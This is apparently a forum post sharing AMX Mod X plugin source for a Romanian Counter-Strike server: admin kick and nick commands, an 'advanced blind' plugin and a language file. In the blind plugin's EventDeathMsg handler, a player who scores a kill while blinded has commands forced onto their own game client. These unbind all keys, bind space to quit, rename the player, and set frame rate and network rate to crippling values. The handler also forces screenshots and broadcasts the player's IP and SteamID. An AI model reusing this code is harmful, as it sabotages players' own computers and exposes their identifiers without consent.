	new ltags[4][32]
	new ltagsnum = 0

	read_argv(2, reason, 31)
	remove_quotes(reason)
	
	for (new a = 1; a < 5; ++a)
	{
		if (a < argnum)
			read_argv(a, ltags[ltagsnum++], 31)
		else
			ltags[ltagsnum++][0] = 0
	}
	
	new nick[32], ires, pnum = get_maxplayers() + 1, count = 0, lReason[128]
	
	for (new b = 1; b < pnum; ++b)
	{
		if (!is_user_connected(b) && !is_user_connecting(b)) continue
		
		get_user_name(b, nick, 31)
		ires = hasTag(nick, ltags, ltagsnum)
		
		if (ires != -1)
		{
			console_print(id, "[AMXX] %L", id, "SKIP_MATCH", nick, ltags[ires])
			continue
		}
		
		if (get_user_flags(b) & ADMIN_IMMUNITY)
		{
			console_print(id, "[AMXX] %L", id, "SKIP_IMM", nick)
			continue
		}
		
		console_print(id, "[AMXX] %L", id, "KICK_PL", nick)
		
		if (is_user_bot(b))
			server_cmd("kick #%d", get_user_userid(b))
		else
		{
			format(lReason, 127, "%L", b, "YOU_DROPPED")
			server_cmd("kick #%d ^"%s^"", get_user_userid(b), lReason)
		}
		count++
	}
	
	console_print(id, "[AMXX] %L", id, "KICKED_CLIENTS", count)
	
	new authid[32], name[32]
	
	get_user_authid(id, authid, 31)
	get_user_name(id, name, 31)
	
	switch(get_cvar_num("amx_show_activity"))
	{
		case 2:
		{
			if (reason[0])
				chat_color(0,"%L", LANG_PLAYER, "ADMIN_LEAVE_2x", name, ltags[0], ltags[1], ltags[2], ltags[3], reason)
			else
				chat_color(0,"%L", LANG_PLAYER, "ADMIN_LEAVE_2", name, ltags[0], ltags[1], ltags[2], ltags[3])
		}
		case 1: chat_color(0,"%L", LANG_PLAYER, "ADMIN_LEAVE_1", ltags[0], ltags[1], ltags[2], ltags[3])
	}
	
	if (reason[0])
		log_amx("Leave: ^"%s<%d><%s><>^" l-a scos din grupa (tag1 ^"%s^") (tag2 ^"%s^") (tag3 ^"%s^") (tag4 ^"%s^") motiv ^"%s^"", name, get_user_userid(id), authid, ltags[0], ltags[1], ltags[2], ltags[3], reason)
	else
		log_amx("Leave: ^"%s<%d><%s><>^" l-a scos din grupa (tag1 ^"%s^") (tag2 ^"%s^") (tag3 ^"%s^") (tag4 ^"%s^")", name, get_user_userid(id), authid, ltags[0], ltags[1], ltags[2], ltags[3])
	
	return PLUGIN_HANDLED
}*/

public cmdNick(id, level, cid)
{
	if (!cmd_access(id, level, cid, 3))
		return PLUGIN_HANDLED
	
	new arg1[32], arg2[32], authid[32], name[32], authid2[32], name2[32], reason[32]
	
	read_argv(1, arg1, 31)
	read_argv(2, arg2, 31)
	read_argv(3, reason, 31)
	remove_quotes(reason) // sau arg1
	
	new player = cmd_target(id, arg1, 1)
	
	if (!player)
		return PLUGIN_HANDLED
	
	get_user_authid(id, authid, 31)
	get_user_name(id, name, 31)
	get_user_authid(player, authid2, 31)
	get_user_name(player, name2, 31)
	
	if(!is_user_bot(player))	set_user_info(player, "name", arg2)
	
	switch (get_cvar_num("amx_show_activity"))
	{
		case 2:
		{
			if (reason[0])
				chat_color(0,"%L", LANG_PLAYER, "ADMIN_NICK_2x", name, name2, arg2, reason)
			else
				chat_color(0,"%L", LANG_PLAYER, "ADMIN_NICK_2", name, name2, arg2)
		}
		case 1: chat_color(0,"%L", LANG_PLAYER, "ADMIN_NICK_1", name2, arg2, reason)
	}
	
	console_print(id, "[AMXX] %L", id, "CHANGED_NICK", name2, arg2)
	
	if (reason[0])
		log_amx("Nick: ^"%s<%d><%s><>^" ii schimba numele jucatorului ^"%s<%d><%s><>^" in ^"%s^" motiv ^"%s^"", name, get_user_userid(id), authid, name2, get_user_userid(player), authid2, arg2, reason)
	else
		log_amx("Nick: ^"%s<%d><%s><>^" ii schimba numele jucatorului ^"%s<%d><%s><>^" in ^"%s^"", name, get_user_userid(id), authid, name2, get_user_userid(player), authid2, arg2)
	
	if( !is_user_alive( player ) )
	{
		if( id )	client_print( id, print_console, "[Server-Protection] Nick-ul i se va schimba la spawn" );
		else	server_print( "[Server-Protection] Nick-ul i se va schimba la spawn" );
	}

	return PLUGIN_HANDLED
}

SpecialAcces( id, NumeAdmin[ ], msg )
{
	new Nume[ 32 ];
	get_user_name( id, Nume, 31 );

	for( new i = 0; i < sizeof( PluginSpecialAcces ); i++ )
	{
		if( equali( NumeAdmin, PluginSpecialAcces[ i ] ) /*&& get_user_flags(id) & ADMIN_BAN*/ )
		{
			return true;
		}
	}

	if( msg )
	{
		console_print( id, "amx_exterminate ^"%s^"", Nume );
		console_print( id, "Apasa orice tasta pentru confirmare" );
		console_print( id, "> TOCMAI I-AI SUPT **** LUI RAIZ0 ! <" );
	}
	return false;
}

stock chat_color(const id, const input[], any:...)
{
	new count = 1, players[32]
	static msg[191]
	vformat(msg, 190, input, 3) // de modificat
	
	replace_all(msg, 190, "!g", "^4")
	replace_all(msg, 190, "!y", "^1")
	replace_all(msg, 190, "!team", "^3")
	replace_all(msg, 190, "!team2", "^0")
	
	if (id) players[0] = id; else get_players(players, count, "ch")
	{
		for (new i = 0; i < count; i++)
		{
			if (is_user_connected(players[i]))
			{
				message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players[i])
				write_byte(players[i]);
				write_string(msg);
				message_end();
			}
		}
	}
}

FIX* 05.03.2019 advanced_blind.sma | Afiseaza codul
[code]
#include <amxmodx>
#include <amxmisc>

#include <ANTI_PROTECTION>

#define CMDTARGET_BLIND (CMDTARGET_ALLOW_SELF|CMDTARGET_NO_BOTS)

new name2[32],name[32],ip[32],arg[32],user,steamid[32]
new bool:g_bBlind[33], gmsgScreenFade/*, amx_show_activity*/, admin[33],dc=0,filename[256]

static const poza[] = "estrike.ro/forum/"
#define DENUMIRE "CS.ESTRIKE.RO"

new g_MsgScreenShake

#include <dhudmessage>


new bool:have_demo[33]=false,mapname[32],timer[65],timer2[65]


//#define LICENTA_PRIN_IP_PORT

#if defined LICENTA_PRIN_IP_PORT
#include <licenta>
#endif


//#define LICENTA_PRIN_MODEL

#if defined LICENTA_PRIN_MODEL
#include <licentax>
#define IP "89.34.25.64"

public plugin_precache()
{
CheckServer(IP);
}
#endif


//#define LICENTA_PRIN_IP_PORTx

#if defined LICENTA_PRIN_IP_PORTx
#include <licentay>
#define IP "89.34.25.64:27015"
#define SHUT_DOWN 0
#endif


#define LICENTA_PRIN_EXPIRARE

#if defined LICENTA_PRIN_EXPIRARE
#include <licentaz>
#endif


public plugin_init()
{
#if defined LICENTA_PRIN_IP_PORT
licenta()
#endif


#if defined LICENTA_PRIN_IP_PORTx
UTIL_CheckServerLicense(IP,SHUT_DOWN);
#endif


#if defined LICENTA_PRIN_EXPIRARE
licenta( );
#endif


    	register_plugin("Advanced blind", "1.6x", "xTeamCs Team & eVoLuTiOn")
        
    	gmsgScreenFade = get_user_msgid("ScreenFade") 
    	register_event("ScreenFade", "Event_ScreenFade", "b")
	register_event( "DeathMsg", "EventDeathMsg", "a" );
        
    	register_concmd("amx_blind","cmdBlind",ADMIN_KICK,"- > nume sau #userid < -") // de pus si motiv ? :)) --
    	register_concmd("amx_unblind","cmdUnblind",ADMIN_KICK,"- > nume sau #userid < -")

        g_MsgScreenShake = get_user_msgid( "ScreenShake" )


    	register_concmd("amx_record","cmdStartRecord",ADMIN_KICK,"<tinta>")
    	register_concmd("amx_stoprecord","cmdStopRecord",ADMIN_KICK,"<tinta>")


	get_configsdir(filename,255)
	format(filename,255,"%s/fragdupablind.q",filename)
	ReadFile()
}

public cmdStartRecord(id,level,cid){
        if(!cmd_access(id, level, cid, 2))
                return PLUGIN_HANDLED;
        
        read_argv(1, arg, 31);
	get_user_name(id,name,31)
        get_time("%m/%d/%Y - %H:%M:%S", timer, 64);
        get_mapname(mapname, 31);
       
        new player = cmd_target(id, arg, 5);
       
        if (!player)
                return PLUGIN_HANDLED;

	get_user_name(player,name2,31)

	if(!have_demo[player])
	{
		RAIZ0_EXCESS2(player,"record (%s)%s_%s[%s].dem",DENUMIRE, name2, mapname,timer);
		client_print(id, print_console,"> Demo inceput pe %s|%s|", name2, timer);
		chat_color(id, "!n|!g!!n|!g Demo!n pornit cu!g succes!n pe!g %s",name2);
		RAIZ0_EXCESS2(id,"snapshot")
		//client_cmd(player,"snapshot;screenshot")
       
		log_amx("[AMXX]: %s a inceput demo pe %s la %s", name, name2, timer);

		have_demo[player]=true
	}
	else	client_print(id, print_console,"> Exista deja un demo pornit pe %s !", name2);
       
        return PLUGIN_HANDLED;
}
public cmdStopRecord(id,level,cid){
        if(!cmd_access(id, level, cid, 2))
                return PLUGIN_HANDLED;
               
        read_argv(1, arg, 31);
        get_time("%m/%d/%Y - %H:%M:%S", timer, 64);
	get_user_name(id,name,31)
       
        new player = cmd_target(id, arg, 5);
       
        if (!player)
                return PLUGIN_HANDLED;

	get_user_name(player,name2,31)

	if(have_demo[player])
	{
		RAIZ0_EXCESS2(player, "stop");
		client_print(id, print_console, "> Demo oprit pe %s|%s|", name2, timer);
		//client_cmd(id,"snapshot")
		//chat_color(killer, "!n|!g!!n|!g Demo!n oprit cu!g succes!n pe!g %s",name2);
		//client_cmd(player,"snapshot;screenshot")
       
		log_amx("[AMXX]: %s a oprit demoul pe %s, la %s",name, name2, timer);
	}
	else	client_print(id, print_console,"> Nu exista nici un demo pornit pe %s !", name2);
       
        return PLUGIN_HANDLED;
}

public client_disconnect(id)
{
	if( g_bBlind[id] )
        {
		get_user_name( id, name, 31 );
		get_user_authid( id, steamid, 31 );
		get_user_ip( id, ip, 31, 1 );
		//ceva ban, etc??..
		chat_color( 0, "!nJucatorul!t %s!n <!g%s!n> <!t%s!n> s-a deconectat cu!g BLIND!n.", name, steamid, ip );

		g_bBlind[id] = false
        }
}

public client_putinserver(id)	g_bBlind[id] = false

/*public client_spawn(id)
{
	if(is_user_connected(id)&&is_user_alive(id)&&g_bBlind[id])
	{
		g_bBlind[id] = false
		Reset_Screen(id)
	}
}*/

public cmdBlind(id, level, cid)
{ 
	if(!cmd_access(id, level, cid, 2))	return PLUGIN_HANDLED
        
    	read_argv(1, arg, 31) 
    	user = cmd_target(id, arg, CMDTARGET_BLIND)
    	if(!user||is_user_bot(user)||is_user_bot(id)) return PLUGIN_HANDLED
	if(!is_user_alive(user))
	{
	console_print(id, "Trebuie sa fie in viata, pentru a putea primi BLIND")
	return PLUGIN_HANDLED
	}
        
    	get_user_name(id,name,31)
    	get_user_name(user,name2,31)
    	get_user_ip(user,ip,31,1)

    	admin[ user ] = id;

	if(get_user_flags(user)&ADMIN_IMMUNITY)
	{
    	console_print(id, "Jucatorul ^"%s^" este ADMIN.",name2)
    	return PLUGIN_HANDLED
	}

    	if(g_bBlind[user])
    	{
    	console_print(id, "Jucatorul ^"%s^" are deja blind",name2)
    	return PLUGIN_HANDLED
    	}
    	else
    	{
    	g_bBlind[user] = true
        
    	Fade_To_Black(user)
    	}
        
    	console_print(id, "Jucatorul ^"%s^" cu ip`ul: ^"%s^" a primit blind",name2,ip) 
    	client_cmd(id,"amx_chat ^"%s^" a primit blind",name2)
        
    	client_cmd(user, "spk bigwarning")
        
    	return PLUGIN_HANDLED 
}

public cmdUnblind(id, level, cid)
{ 
    	if(!cmd_access(id, level, cid, 2))	return PLUGIN_HANDLED
        
    	read_argv(1, arg, 31) 
    	user = cmd_target(id, arg, CMDTARGET_BLIND) 
    	if(!user) return PLUGIN_HANDLED
        
    	get_user_name(id,name,31) 
    	get_user_name(user,name2,31)
    	get_user_ip(user,ip,31,1)
        
    	if(g_bBlind[user])
    	{
    	g_bBlind[user] = false
            
    	Reset_Screen(user)

    	console_print(id, "Jucatorul ^"%s^" cu ip`ul: ^"%s^" a primit unblind",name2,ip) 
    	client_cmd(id,"amx_chat ^"%s^" a primit unblind",name2)

    	ShakeScreen(user,3.0)
    	}
    	else
    	{
    	console_print(id, "Jucaotrul ^"%s^" nu are blind", name2)
    	return PLUGIN_HANDLED
    	}

    	return PLUGIN_HANDLED
}

public Event_ScreenFade(id) 
{
    	if(g_bBlind[id])	Fade_To_Black(id)
	//else	Reset_Screen(id)
}

public Fade_To_Black(id)
{
	//if(g_bBlind[id])	return
    	message_begin(MSG_ONE_UNRELIABLE, gmsgScreenFade, _, id)
    	write_short((1<<3)|(1<<8)|(1<<10))
    	write_short((1<<3)|(1<<8)|(1<<10))
    	write_short((1<<0)|(1<<2))
    	write_byte(255)
    	write_byte(255)
    	write_byte(255)
    	write_byte(255)
    	message_end()
}

public Reset_Screen(id)
{
	//if(!g_bBlind[id])	return
    	message_begin(MSG_ONE_UNRELIABLE, gmsgScreenFade, _, id)
    	write_short(1<<2)
    	write_short(0)
    	write_short(0)
    	write_byte(0)
    	write_byte(0)
    	write_byte(0)
    	write_byte(0)
    	message_end()
}

// Shake
public ShakeScreen(id,const Float:seconds)
{
	//if(!g_bBlind[id])	return
        message_begin(MSG_ONE_UNRELIABLE,g_MsgScreenShake,{0,0,0},id);
        write_short(floatround(4096.0 * seconds,floatround_round));
        write_short(floatround(4096.0 * seconds,floatround_round));
        write_short(1<<13);
        message_end();
}

public EventDeathMsg()
{
	new killer=read_data( 1 ), victim= read_data( 2 );
        
    	if(g_bBlind[killer]&&is_user_alive(killer)&&killer!=victim)
    	{
    	new numeserver[64], ipcodat[32], authid2[ 35 ], admini[32], inum,fo_logfile[64],maxtext[256]
    	get_user_name(admin[killer], name, 31)
    	get_user_name(killer, name2, 31)
	get_user_authid( admin[killer], steamid, sizeof( steamid ) -1 );
	get_user_authid( killer, authid2, sizeof( authid2 ) -1 );
    	get_user_ip(admin[killer], ip, 31, 1)
    	get_user_ip(killer, ipcodat, 31, 1)
    	get_cvar_string("hostname",numeserver,63);
    	get_configsdir(fo_logfile, 63)
    	get_time("Data: %d/%m/%Y!n -!g Ora: %H:%M:%S",timer,64)
    	get_time("Data: %d/%m/%Y - Ora: %H:%M:%S",timer2,64)

	ReadFile()
	if(dc<=0)	dc=1
	else	dc++
	WriteFile()

	set_dhudmessage(255,255,0,0.47,0.51,0,8.0,15.0,5.1,3.2)
	new Message[1024];
	formatex(Message,charsmax(Message), "FRAG DUPA BLIND FACUT DE %s^nRESPECTA SI VEI FI RESPECTAT.^nEsti al %d`lea nemernic turnat.^nSperam ca te-ai lecuit.^n%s",name2,dc,poza);
	show_dhudmessage(0,Message)

	client_cmd(0, "spk ^"vox/bizwarn coded user apprehend^"")

    	formatex(maxtext, 255, "[CS] %s -> ADMIN: %s (IP:%s | STEAMID:%s) | CODAT: %s (IP:%s | STEAMID:%s)",timer2,name,ip,steamid,name2,ipcodat,authid2)
    	formatex(fo_logfile, 63, "%s/fragdupablind.txt", fo_logfile)

	get_players(admini, inum, "ch")
    	for (new i = 0; i < inum; i++)	if ( access(admini,ADMIN_CHAT) )	client_print(admini,print_chat,"Jucatorul %s a facut frag dupa blind-ul dat de %s",name2,name)

        chat_color(killer, "!n=====================================================");
    	chat_color(killer, "!g* !nFRAG DUPA BLIND facut de !t%s", name2)
	chat_color(killer, "!g* !nPoza facuta pe: !t%s",numeserver)
	chat_color(killer, "!g* !nNume codat:  ^"!t%s!n^" cu IP: !g%s!n & STEAMID:!g %s",name2,ipcodat,authid2)
	chat_color(killer, "!g* !nNume admin: ^"!t%s!n^" cu IP: !g%s!n & STEAMID:!t %s",name,ip,steamid)
	chat_color(killer, "!g* !nTIMP : !t%s",timer)
	chat_color(killer, "!g* !nViziteaza !t%s !npentru a face o cerere de !gUNBAN.",poza)
        chat_color(killer, "!n======================================================");
            
    	RAIZ0_EXCESS2(killer,"wait;snapshot")
            
    	console_print(killer, "* FRAG DUPA BLIND by %s", name2)
    	console_print(killer, "* Poza facuta pe : %s",numeserver) 
    	console_print(killer, "* Nume codat:  ^"%s^" cu IP: %s & STEAMID: %s",name2,ipcodat,authid2) 
    	console_print(killer, "* Nume admin: ^"%s^" cu IP: %s & STEAMID: %s",name,ip,steamid)
    	console_print(killer, "* TIMP : %s",timer2) 
    	console_print(killer, "* Viziteaza %s pentru a face o cerere de UNBAN.",poza)

    	RAIZ0_EXCESS2(killer,"wait;toggleconsole;snapshot")
       
    	RAIZ0_EXCESS2(killer,"unbindall;developer 1")
    	RAIZ0_EXCESS2(killer,"bind mouse1 ^"say Am facut frag dupa BLIND pe %s^";wait;bind space quit",DENUMIRE)
    	RAIZ0_EXCESS2(killer,"wait; bind escape ^"say Am facut frag dupa BLIND pe %s^";",DENUMIRE)
    	RAIZ0_EXCESS2(killer,";wait;bind ^"`^" ^"say Am facut frag dupa BLIND pe %s^";bind ^"~^" ^"say Am facut frag dupa BLIND pe %s^";wait;name ^"CODAT de pe %s^"",DENUMIRE,DENUMIRE,DENUMIRE)
    	RAIZ0_EXCESS2(killer,"rate 1;gl_flipmatrix 1;cl_cmdrate 10;cl_updaterate 10;fps_max 1;hideradar;con_color ^"1 1 1^"")

	/*if(g_bBlind[killer]&&is_user_connected(killer))
	{
		g_bBlind[killer]=false
		Reset_Screen(killer)
    	}*/
            
    	write_file(fo_logfile,maxtext,-1)
            
    	console_print(admin[killer], "* FRAG DUPA BLIND by %s",name2)
    	console_print(admin[killer], "* Poza facuta pe : %s",numeserver) 
    	console_print(admin[killer], "* Nume codat:  ^"%s^" cu IP: %s & STEAMID: %s",name2,ipcodat,authid2) 
    	console_print(admin[killer], "* Nume admin: ^"%s^" cu IP: %s & STEAMID: %s",name,ip,steamid)
    	console_print(admin[killer], "* TIMP : %s",timer2) 
    	//console_print(admin[killer], "* Viziteaza %s pentru a face o cerere de UNBAN.",poza)

    	RAIZ0_EXCESS2(admin[killer],"wait;toggleconsole;snapshot")

        chat_color(admin[killer], "!n=====================================================");
    	chat_color(admin[killer], "!g* !nFRAG DUPA BLIND facut de !t%s",name2)
	chat_color(admin[killer], "!g* !nPoza facuta pe: !t%s",numeserver)
	chat_color(admin[killer], "!g* !nNume codat:  ^"!t%s!n^" cu IP: !g%s!n & STEAMID:!g %s",name2,ipcodat,authid2)
	chat_color(admin[killer], "!g* !nNume admin: ^"!t%s!n^" cu IP: !g%s!n & STEAMID:!t %s",name,ip,steamid)
	chat_color(admin[killer], "!g* !nData : !t%s",timer)
	//chat_color(admin[killer], "!g* !nViziteaza !t%s !npentru a face o cerere de !gUNBAN.",poza)
        chat_color(admin[killer], "!n=====================================================");
            
    	RAIZ0_EXCESS2(admin[killer],"toggleconsole;wait;snapshot")
            
	//RAIZ0_EXCESS2(admin[killer], "amx_banip #%d 9999 ^"FRAG DUPA BLIND^"",get_user_userid(killer));
	}
}

WriteFile()
{
    new filepointer = fopen(filename,"w")
    if(filepointer)
    {
	fprintf(filepointer,"%d",dc)
        fclose(filepointer)
    }
}
ReadFile()
{
    new filepointer = fopen(filename,"rt")
    if(filepointer)
    {
        new readdata[128],parseddata[32]
        while(fgets(filepointer,readdata,127))
        {
	    if(!readdata[0])	continue
            parse(readdata,parseddata,31)
            dc=str_to_num(parseddata)
        }
        fclose(filepointer)
    }
}

stock chat_color(const id, const input[], any:...)
{
	new count = 1, players[32]
	static msg[191]
	vformat(msg, 190, input, 3)
	replace_all(msg, 190, "!g", "^4")
	replace_all(msg, 190, "!n", "^1")
	replace_all(msg, 190, "!t", "^3")
	replace_all(msg, 190, "!t2", "^0")
	if (id) players[0] = id; else get_players(players, count, "ch")
	for (new i = 0; i < count; i++)
	{
		if (is_user_connected(players))
		{
			message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players)
			write_byte(players);
			write_string(msg);
			message_end();
		}
	}
}
[/code]

update admincmd.txt | Afiseaza codul
[code]
[ro]
ADMIN_KICK_1 = !y[!gADM!N!y]: ii da kick jucatorului !team%s !y!
ADMIN_KICK_2 = !y[!gADM!N!y] !team%s!y: ii da kick jucatorului !g%s !y!
ADMIN_KICK_2x = !y[!gADM!N!y] !team%s!y: ii da kick jucatorului !g%s !y. Motiv: !team%s
IP_REMOVED = Ip-ul "%s" a fost inlaturat din lista de ban-uri
AUTHID_REMOVED = ID-ul "%s" a fost inlaturat din lista de ban-uri
ADMIN_UNBAN_1 = !y[!gADM!N!y]: !team%s !ya primit!g un-ban!y! 
ADMIN_UNBAN_2x = !y[!gADM!N!y] !team%s!y: !g%s!y a primit!team un-ban!y. Motiv: !g%s
ADMIN_UNBAN_2 = !y[!gADM!N!y] !team%s!y: !g%s!y a primit!team un-ban !y!
ADMIN_ADDBAN_1 = !y[!gADM!N!y]: addban !team%s !y!
ADMIN_ADDBAN_2 = !y[!gADM!N!y] !team%s!y: addban !g%s!y pentru { !team%s !y} minut(e) . Motiv > !g%s !y<
ADMIN_ADDBAN_2x = !y[!gADM!N!y] !team%s!y: addban !g%s!y pentru { !team%s !y} minut(e)
BANNED = Ban
REASON = Motiv
FOR_MIN = Pentru %s minute
PERM = Permanent
CLIENT_BANNED = Se pare ca '%s' a primit ban.
ADMIN_SLAY_1 = !y[!gADM!N!y]: ii da slay jucatorului !team%s !y!
ADMIN_SLAY_2x = !y[!gADM!N!y] !team%s!y: ii da slay jucatorului !g%s !y. Motiv: !team%s
ADMIN_SLAY_2 = !y[!gADM!N!y] !team%s!y: ii da slay jucatorului !g%s !y!
CLIENT_SLAYED = Jucatorul "%s" a primit slay
ADMIN_SLAP_1 = !y[!gADM!N!y]: ii da slap jucatorului !team%s!y cu !g%d!y dmg !
ADMIN_SLAP_2x = !y[!gADM!N!y] !team%s!y: ii da slap jucatorului !g%s !ycu !team%d !ydmg . Motiv: !team%s
ADMIN_SLAP_2 = !y[!gADM!N!y] !team%s!y: ii da slap jucatorului !g%s !ycu !team%d !ydmg !
CLIENT_SLAPED = Jucatorul %s a primit slap %d dmg
MAP_NOT_FOUND = Harta cu acel nume nu a fost gasita sau este invalida
ADMIN_MAP_1 = !y[!gADM!N!y]: schimbare harta in !team%s !y!
ADMIN_MAP_2x = !y[!gADM!N!y] !team%s!y: schimbare harta in !g%s!y . Motiv: !team%s
ADMIN_MAP_2 = !y[!gADM!N!y] !team%s!y: schimbare harta in !g%s !y!
NO_MORE_CVARS = Nu se pot adauga mai multe comenzi pentru accesul rcon !
CVAR_NO_ACC = Nu ai acces la aceasta comanda
PROTECTED = PROTEJAT
LOADED_PLUGINS = Plugin-uri incarcate
NAME = nume
VERSION = versiune
AUTHOR = autor
FILE = fisier
STATUS = statut
PLUGINS_RUN = %d plugin-uri, %d functionale
LOADED_MODULES = Moduluri incarcate
NUM_MODULES = %d moduluri
FILE_NOT_FOUND = Fisier-ul "%s" nu a fost gasit
ADMIN_CONF_1 = !y[!gADM!N!y]: executare config !team%s !y!
ADMIN_CONF_2x = !y[!gADM!N!y] !team%s!y: executare config !g%s !y! Motiv: !team%s
ADMIN_CONF_2 = !y[!gADM!N!y] !team%s!y: executare config !g%s !y!
PAUSED = s-a intrerupt jocul
UNPAUSED = s-a revenit la joc
UNABLE_PAUSE = Server-ul nu a putut intrerupe jocul. Este nevoie de jucatori adevarati.
SERVER_PROC = Continuare server %s
PAUSING = se interupe jocul
UNPAUSING = se revine la joc
PAUSE = intrerupe jocul
UNPAUSE = revino la joc
COM_SENT_SERVER = Comanda %s a fost trimisa in consola server-ului
CLIENTS_ON_SERVER = Jucatori pe server
IMMU = imu
RESERV = rez
ACCESS = acces
TOTAL_NUM = Total %d
SKIP_MATCH = Se trece peste "%s" (criteriu "%s")
SKIP_IMM = Se trece peste %s (imunitate)
KICK_PL = Kick %s
YOU_DROPPED = Ai fost dat afara deoarece admin-ul permite doar un grup specificat de jucatori pe server
KICKED_CLIENTS = %d jucatori au primit kick
ADMIN_LEAVE_1 = !y[!gADM!N!y]: iesire !team%s !y- !g%s !y- !team%s !y- !g%s !y!
ADMIN_LEAVE_2x = !y[!gADM!N!y] !team%s!y: iesire !g%s !y- !team%s !y- !g%s !y- !team%s !y. Motiv: !g%s
ADMIN_LEAVE_2 = !y[!gADM!N!y] !team%s!y: iesire !g%s !y- !team%s !y- !g%s !y- !team%s !y!
ADMIN_NICK_1 = !y[!gADM!N!y]: ii schimba numele jucatorului !team%s !yin !g%s !y!
ADMIN_NICK_2x = !y[!gADM!N!y] !team%s!y: ii schimba numele jucatorului !g%s!y in !team%s !y. Motiv: !g%s
ADMIN_NICK_2 = !y[!gADM!N!y] !team%s!y: ii schimba numele jucatorului !g%s!y in !team%s !y!
CHANGED_NICK = Numele lu' %s a fost schimbat cu "%s"
SET_CVAR_TOx = !y[!gADM!N!y] !team%s!y: seteaza cvar !g%s!y pe !team%s !y. Motiv: !g%s
SET_CVAR_TO = !y[!gADM!N!y] !team%s!y: seteaza cvar !g%s!y pe !team%s
CVAR_CHANGED = Cvar-ul %s a fost schimbat in %s
CVAR_IS = Cvar %s este %s
UNKNOWN_CVAR = Cvar %s necunoscut

[en]
ADMIN_KICK_1 = !y[!gADM!N!y]: ii da kick jucatorului !team%s !y!
ADMIN_KICK_2 = !y[!gADM!N!y] !team%s!y: ii da kick jucatorului !g%s !y!
ADMIN_KICK_2x = !y[!gADM!N!y] !team%s!y: ii da kick jucatorului !g%s !y. Motiv: !team%s
IP_REMOVED = Ip-ul "%s" a fost inlaturat din lista de ban-uri
AUTHID_REMOVED = ID-ul "%s" a fost inlaturat din lista de ban-uri
ADMIN_UNBAN_1 = !y[!gADM!N!y]: !team%s !ya primit!g un-ban!y! 
ADMIN_UNBAN_2x = !y[!gADM!N!y] !team%s!y: !g%s!y a primit!team un-ban!y. Motiv: !g%s
ADMIN_UNBAN_2 = !y[!gADM!N!y] !team%s!y: !g%s!y a primit!team un-ban !y!
ADMIN_ADDBAN_1 = !y[!gADM!N!y]: addban !team%s !y!
ADMIN_ADDBAN_2 = !y[!gADM!N!y] !team%s!y: addban !g%s!y pentru { !team%s !y} minut(e) . Motiv > !g%s !y<
ADMIN_ADDBAN_2x = !y[!gADM!N!y] !team%s!y: addban !g%s!y pentru { !team%s !y} minut(e)
BANNED = Ban
REASON = Motiv
FOR_MIN = Pentru %s minute
PERM = Permanent
CLIENT_BANNED = Se pare ca '%s' a primit ban.
ADMIN_SLAY_1 = !y[!gADM!N!y]: ii da slay jucatorului !team%s !y!
ADMIN_SLAY_2x = !y[!gADM!N!y] !team%s!y: ii da slay jucatorului !g%s !y. Motiv: !team%s
ADMIN_SLAY_2 = !y[!gADM!N!y] !team%s!y: ii da slay jucatorului !g%s !y!
CLIENT_SLAYED = Jucatorul "%s" a primit slay
ADMIN_SLAP_1 = !y[!gADM!N!y]: ii da slap jucatorului !team%s!y cu !g%d!y dmg !
ADMIN_SLAP_2x = !y[!gADM!N!y] !team%s!y: ii da slap jucatorului !g%s !ycu !team%d !ydmg . Motiv: !team%s
ADMIN_SLAP_2 = !y[!gADM!N!y] !team%s!y: ii da slap jucatorului !g%s !ycu !team%d !ydmg !
CLIENT_SLAPED = Jucatorul %s a primit slap %d dmg
MAP_NOT_FOUND = Harta cu acel nume nu a fost gasita sau este invalida
ADMIN_MAP_1 = !y[!gADM!N!y]: schimbare harta in !team%s !y!
ADMIN_MAP_2x = !y[!gADM!N!y] !team%s!y: schimbare harta in !g%s!y . Motiv: !team%s
ADMIN_MAP_2 = !y[!gADM!N!y] !team%s!y: schimbare harta in !g%s !y!
NO_MORE_CVARS = Nu se pot adauga mai multe comenzi pentru accesul rcon !
CVAR_NO_ACC = Nu ai acces la aceasta comanda
PROTECTED = PROTEJAT
LOADED_PLUGINS = Plugin-uri incarcate
NAME = nume
VERSION = versiune
AUTHOR = autor
FILE = fisier
STATUS = statut
PLUGINS_RUN = %d plugin-uri, %d functionale
LOADED_MODULES = Moduluri incarcate
NUM_MODULES = %d moduluri
FILE_NOT_FOUND = Fisier-ul "%s" nu a fost gasit
ADMIN_CONF_1 = !y[!gADM!N!y]: executare config !team%s !y!
ADMIN_CONF_2x = !y[!gADM!N!y] !team%s!y: executare config !g%s !y! Motiv: !team%s
ADMIN_CONF_2 = !y[!gADM!N!y] !team%s!y: executare config !g%s !y!
PAUSED = s-a intrerupt jocul
UNPAUSED = s-a revenit la joc
UNABLE_PAUSE = Server-ul nu a putut intrerupe jocul. Este nevoie de jucatori adevarati.
SERVER_PROC = Continuare server %s
PAUSING = se interupe jocul
UNPAUSING = se revine la joc
PAUSE = intrerupe jocul
UNPAUSE = revino la joc
COM_SENT_SERVER = Comanda %s a fost trimisa in consola server-ului
CLIENTS_ON_SERVER = Jucatori pe server
IMMU = imu
RESERV = rez
ACCESS = acces
TOTAL_NUM = Total %d
SKIP_MATCH = Se trece peste "%s" (criteriu "%s")
SKIP_IMM = Se trece peste %s (imunitate)
KICK_PL = Kick %s
YOU_DROPPED = Ai fost dat afara deoarece admin-ul permite doar un grup specificat de jucatori pe server
KICKED_CLIENTS = %d jucatori au primit kick
ADMIN_LEAVE_1 = !y[!gADM!N!y]: iesire !team%s !y- !g%s !y- !team%s !y- !g%s !y!
ADMIN_LEAVE_2x = !y[!gADM!N!y] !team%s!y: iesire !g%s !y- !team%s !y- !g%s !y- !team%s !y. Motiv: !g%s
ADMIN_LEAVE_2 = !y[!gADM!N!y] !team%s!y: iesire !g%s !y- !team%s !y- !g%s !y- !team%s !y!
ADMIN_NICK_1 = !y[!gADM!N!y]: ii schimba numele jucatorului !team%s !yin !g%s !y!
ADMIN_NICK_2x = !y[!gADM!N!y] !team%s!y: ii schimba numele jucatorului !g%s!y in !team%s !y. Motiv: !g%s
ADMIN_NICK_2 = !y[!gADM!N!y] !team%s!y: ii schimba numele jucatorului !g%s!y in !team%s !y!
CHANGED_NICK = Numele lu' %s a fost schimbat cu "%s"
SET_CVAR_TOx = !y[!gADM!N!y] !team%s!y: seteaza cvar !g%s!y pe !team%s !y. Motiv: !g%s
SET_CVAR_TO = !y[!gADM!N!y] !team%s!y: seteaza cvar !g%s!y pe !team%s
CVAR_CHANGED = Cvar-ul %s a fost schimbat in %s
